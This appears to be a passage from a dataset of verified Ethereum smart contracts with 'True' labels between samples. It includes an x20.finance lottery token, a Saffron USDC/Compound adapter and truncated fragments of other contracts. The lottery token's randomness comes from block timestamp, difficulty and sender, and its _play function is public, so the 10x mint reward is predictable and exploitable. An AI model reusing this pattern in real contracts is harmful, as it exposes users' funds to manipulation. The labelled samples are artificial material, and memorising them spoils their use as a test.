function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin\contracts\access\Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts\MultiplierToken.sol
pragma solidity ^0.6.0;
contract MultiplierToken is ERC20("x20.finance", "X20"), Ownable {
using SafeMath for uint256;
// Define if the game has started
bool private gameStarted;
// Address of the ETH-X10 liquidity pool on Uniswap
// We need this address to play the game when the transfer
// is from the liquidity pool (and not between holders).
address private liquidityPool;
// Values for random
uint private nonce;
uint private seed1;
uint private seed2;
// One of "chanceRate" chance to win
uint private chanceRate;
constructor() public {
// Send Total Supply to the owner (msg.sender)
_mint(msg.sender, uint256(10000).mul(1e18));
// The game hasn't started yet
gameStarted = false;
}
// Function to start the Game
// Only the owner can call this function
// The game can't be stopped after this action
function startGame(address _liquidityPool, uint _seed1) external onlyOwner {
require(gameStarted == false, 'The game has already started');
require(_liquidityPool != address(0), 'Need the ETH-X20 liquidity pool address');
chanceRate = 100;
liquidityPool = _liquidityPool;
seed1 = _seed1;
seed2 = _randModulus(uint(10000000), seed1);
// The game is starting
gameStarted = true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
return super.transfer(recipient, _getAmount(recipient, msg.sender, amount));
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
return super.transferFrom(sender, recipient, _getAmount(recipient, sender, amount));
}
// Return the value of 'gameStarted' to know
// if the game has started
function hasGameStarted() public view returns (bool) {
return gameStarted;
}
// Get the right amount when playing (or not) the game
// With possible burn and reward
function _getAmount(address recipient, address sender, uint256 amount) private returns (uint256) {
if (gameStarted) {
_sendReward(amount, sender, recipient);
uint256 burnAmount = _getRandomBurnedAmount(amount);
if (burnAmount != 0) {
_burn(sender, burnAmount);
amount = amount.sub(burnAmount);
}
}
return amount;
}
// Play, and if winning multiply by 10
// if you lose and the sender address is not the liquidity pool
// then the amount doesn't change
function _sendReward(uint256 amount, address sender, address recipient) private {
if (sender == liquidityPool && _play()) {
_mint(recipient, amount.mul(10));
}
}
// Return the random amount to burn based on
// the amount we want to transfer. Between 1% and 10%.
function _getRandomBurnedAmount(uint256 amount) private returns (uint256) {
uint256 burnrate = _randModulus(uint(90), seed2);
return amount.div(burnrate.add(10));
}
// Play the game :
// 1% chance of winning and returning true.
function _play() public returns (bool) {
uint val1 = _randModulus(uint(100), seed1);
uint val2 = _randModulus(uint(100), seed2);
return val1 == val2;
}
function _randModulus(uint mod, uint seed) private returns (uint) {
require(mod > 0, 'Modulus must be greater than 0');
uint rand = uint(keccak256(abi.encodePacked(
nonce,
seed,
now,
block.difficulty,
msg.sender)
)) % mod;
nonce++;
return rand;
}
}
|
True
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/**
*Submitted for verification at Etherscan.io on 2021-03-07
*/
// File: contracts/interfaces/ISaffronBase.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
interface ISaffronBase {
enum Tranche {S, AA, A}
enum LPTokenType {dsec, principal}
// Store values (balances, dsec, vdsec) with TrancheUint256
struct TrancheUint256 {
uint256 S;
uint256 AA;
uint256 A;
}
struct epoch_params {
uint256 start_date; // Time when the platform launched
uint256 duration; // Duration of epoch
}
}
// File: contracts/interfaces/ISaffronAdapter.sol
pragma solidity ^0.7.1;
interface ISaffronAdapter is ISaffronBase {
function deploy_capital(uint256 amount) external;
function return_capital(uint256 base_asset_amount, address to) external;
function approve_transfer(address addr,uint256 amount) external;
function get_base_asset_address() external view returns(address);
function set_base_asset(address addr) external;
function get_holdings() external returns(uint256);
function get_interest(uint256 principal) external returns(uint256);
function set_governance(address to) external;
}
// File: contracts/adapters/ICErc20.sol
pragma solidity ^0.7.1;
// https://compound.finance/docs/ctokens
interface ICErc20 {
function mint(uint256) external returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function supplyRatePerBlock() external returns (uint256);
function redeem(uint) external returns (uint);
function redeemUnderlying(uint) external returns (uint);
function balanceOf(address owner) external view returns (uint);
}
// File: contracts/interfaces/ISaffronPool.sol
pragma solidity ^0.7.1;
interface ISaffronPool is ISaffronBase {
function add_liquidity(uint256 amount, Tranche tranche) external;
function remove_liquidity(address v1_dsec_token_address, uint256 dsec_amount, address v1_principal_token_address, uint256 principal_amount) external;
function get_base_asset_address() external view returns(address);
function hourly_strategy(address adapter_address) external;
function wind_down_epoch(uint256 epoch, uint256 amount_sfi) external;
function set_governance(address to) external;
function get_epoch_cycle_params() external view returns (uint256, uint256);
function shutdown() external;
}
// File: contracts/lib/IERC20.sol
pragma solidity ^0.7.1;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/lib/SafeMath.sol
pragma solidity ^0.7.1;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/lib/Address.sol
pragma solidity ^0.7.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/lib/SafeERC20.sol
pragma solidity ^0.7.1;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/adapters/USDCCompoundAdapter.sol
pragma solidity ^0.7.1;
contract USDC_Compound_Adapter is ISaffronAdapter {
using SafeERC20 for IERC20;
using SafeMath for uint256;
address public governance; // Governance address
ISaffronPool public saffron_pool; // SaffronPool that owns this adapter
IERC20 public USDC; // Base asset (USDC)
ICErc20 public cUSDC; // cUSDC redeemable for USDC
string public constant platform = "Compound"; // Platform name
string public constant name = "USDC/Compound"; // Adapter name
uint256 public created;
constructor(address _saffron_pool, address CErc20_contract_address, address base_asset_address) {
saffron_pool = ISaffronPool(_saffron_pool);
governance = msg.sender; // saffron_pool.get_governance();
cUSDC = ICErc20(CErc20_contract_address);
USDC = IERC20(base_asset_address);
created = block.timestamp;
}
// Called from pool's hourly strategy
function deploy_capital(uint256 amount) external override {
require(msg.sender == address(saffron_pool), "must be pool");
USDC.safeApprove(address(cUSDC), amount); // Approve the transfer
uint mint_result = cUSDC.mint(amount); // Mint the cTokens and assert there is no error
// Check for success, RETURN: 0 on success, otherwise an Error code
assert(mint_result==0);
}
// Called from remove_liquidity
event ReturnCapital(uint256 cdai_balance, uint256 base_asset_amount);
function return_capital(uint256 base_asset_amount, address to) external override {
require(msg.sender == address(saffron_pool), "must be pool");
uint256 redeem_result = cUSDC.redeemUnderlying(base_asset_amount);
// Check for success: 0 on success, otherwise an error code
// v0: revert on bad redeem result because S tranche only
// v1: execute waterfall strategy to cover AA tranche LPs
assert(redeem_result == 0);
USDC.safeTransfer(to, base_asset_amount);
emit ReturnCapital(cUSDC.balanceOf(address(this)), base_asset_amount);
}
event Swept(address who, address to, uint256 cBal, uint256 dBal);
function sweep(address _to) public {
require(msg.sender == governance, "must be governance");
IERC20 tkn = IERC20(address(cUSDC));
uint256 cBal = tkn.balanceOf(address(this));
tkn.transfer(_to, cBal);
uint256 dBal = USDC.balanceOf(address(this));
USDC.transfer(_to, dBal);
emit Swept(msg.sender, _to, cBal, dBal);
}
event ErcSwept(address who, address to, address token, uint256 amount);
function erc_sweep(address _token, address _to) public {
require(msg.sender == governance, "must be governance");
require(_token != address(USDC) && _token != address(cUSDC), "cannot sweep adapter assets");
IERC20 tkn = IERC20(_token);
uint256 tBal = tkn.balanceOf(address(this));
tkn.transfer(_to, tBal);
emit ErcSwept(msg.sender, _to, _token, tBal);
}
event GetExchangeRate(uint256, uint256);
function get_exchange_rate() public returns(uint256) {
uint256 rate = cUSDC.exchangeRateCurrent();
emit GetExchangeRate(rate, rate.div(10**18));
return rate;
}
// WARNING: holdings expressed in 18 decimals (cUSDC only has 8 decimals)
event GetHoldings(uint256 holdings);
function get_holdings() external override returns(uint256) {
uint256 holdings = cUSDC.balanceOf(address(this)).mul(cUSDC.exchangeRateCurrent()).div(10**18);
emit GetHoldings(holdings);
return holdings;
}
function _get_holdings() private returns(uint256) {
uint256 holdings = cUSDC.balanceOf(address(this)).mul(cUSDC.exchangeRateCurrent()).div(10**18);
emit GetHoldings(holdings);
return holdings;
}
event GetInterestEvaluatedToZero(bool zero_interest);
function get_interest(uint256 principal) external override returns(uint256) {
if (_get_holdings() < principal) {
emit GetInterestEvaluatedToZero(true);
return 0; // don't revert on negative interest
}
return _get_holdings().sub(principal);
}
function approve_transfer(address addr,uint256 amount) external override {
require(msg.sender == governance, "must be governance");
USDC.safeApprove(addr, amount);
}
function get_base_asset_address() external override view returns(address) {
return address(USDC);
}
function get_ctoken_balance() public view returns(uint256) {
return cUSDC.balanceOf(address(this));
}
function set_base_asset(address addr) external override {
require(msg.sender == governance, "must be governance");
USDC=IERC20(addr);
}
function set_governance(address to) external override {
require(msg.sender == governance, "must be governance");
governance = to;
}
}
|
True
|
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// SPDX-License-Identifier: MIT LICENSE
pragma solidity 0.8.4;
contract MetroBlockScores {
function getHoodBoost(uint256[] calldata tokenIds) external pure returns (uint256 score) {
// equals to 1, to be divided by 10000 in vault contract
// return 10100 to give boost of 1%
return 10000;
}
function getBlockScore(uint256 tokenId) external pure returns (uint256 score) {
require(tokenId <= 10000 && tokenId > 0, "Invalid tokenId");
bytes1 chunk = data[tokenId-1];
uint8 chunkUint8 = uint8(chunk);
return 200 + uint256(chunkUint8);
}
// in python: "".join([hex(x-200)[2:].zfill(2) for x in scores])
// each encoded score has to be within 0-256
bytes constant data = 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pragma solidity ^0.4.11;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* Interface for defining crowdsale pricing.
*/
contract PricingStrategy {
address public tier;
/** Interface declaration. */
function isPricingStrategy() public constant returns (bool) {
return true;
}
/** Self check if all references are correctly set.
*
* Checks that pricing strategy matches crowdsale parameters.
*/
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
/**
* @dev Pricing tells if this is a presale purchase or not.
